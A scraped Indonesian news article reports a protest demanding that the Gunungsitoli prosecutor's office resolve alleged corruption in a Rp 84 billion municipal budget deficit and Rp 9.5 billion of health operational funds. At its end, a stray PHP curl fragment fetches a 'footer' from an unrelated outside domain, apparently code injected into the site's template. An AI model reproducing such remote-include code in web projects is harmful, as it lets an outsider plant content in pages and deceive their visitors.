Ratusan Massa Demo Kejari Gunungsitoli Desak Kasus Dugaan Korupsi Defisit-BOK Segera Dituntaskan.

Kamis, 19 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Gunungsitoli l Jejakkasus info – Ratusan massa yang tergabung dalam Aliansi Masyarakat Anti Korupsi menggeruduk Kejaksaan Negeri (Kejari) Gunungsitoli yang beralamat di Jalan Soekarno, nomor 1, Kelurahan Pasar, Gunungsitoli, Kamis (19/9/2024) siang.

Kedatangan ratusan massa aksi ini mendesak pihak Kejari Gunungsitoli untuk segera menuntaskan kasus dugaan korupsi pada defisit anggaran Pemko Gunungsitoli tahun 2023 Rp 84 miliar dan Bantuan Operasional Kesehatan (BOK) TA. 2018-2019 yang bersumber dari APBN Kementrian Kesehatan RI sebesar Rp 9,5 miliar.

Baca Juga:  Kasdam IV/Diponegoro Memimpin Sosialisasi Doktrin TNI AD Kartika Eka Paksi (KEP) TA 2021

Dalam orasinya, salah satu orator aksi, Markus K Hulu mengatakan dugaan korupsi defisit anggaran senilai Rp 84 Miliar telah dilaporkan masyarakat di Kejari Gunungsitoli pada 04 Juni 2024.

Dan dugaan korupsi dana BOK TA. 2018-2019 juga telah dilaporkan masyarakat di Kejatisu dan telah dilimpahkan di Kejari Gunungsitoli pada 19 Agustus 2022.

Baca Juga:  Polres Jombang Cek Ketersediaan Bahan Pangan Jelang Ramadhan, Ini Hasilnya

“Jika memperhatikan rentang waktu antara pelaporan dengan penyelesaian kasus korupsi, maka tidak berlebihan bila kami memberikan stigma bahwa Kejari Gunungsitoli mandul,” seru Markus.

Dia mengatakan masyarakat Kota Gunungsitoli mendukung penuh Kejari Gunungsitoli untuk segera menuntaskan kasus tersebut.

Baca Juga:  Pembangunan Pabrik Paku di Kangkungan Mojokerto di Protes Warga

Setelah secara bergantian melakukan orasi, massa aksi pun menyampaikan pernyataan sikap.

Dalam pernyataan sikapnya, Aliansi Masyarakat Anti Korupsi menyebutkan ada dua topik kasus dugaan korupsi yang sangat meresahkan yakni kasus dugaan korupsi dan atau perbuatan melawan hukum dan atau penyalahgunaan kewenangan pada defisit anggaran tahun 2023 sebesar Rp 84 miliar.

(TZ)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi
Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari

Berita Terkait

Jumat, 11 Oktober 2024 - 17:20 WIB

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:34 WIB

Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>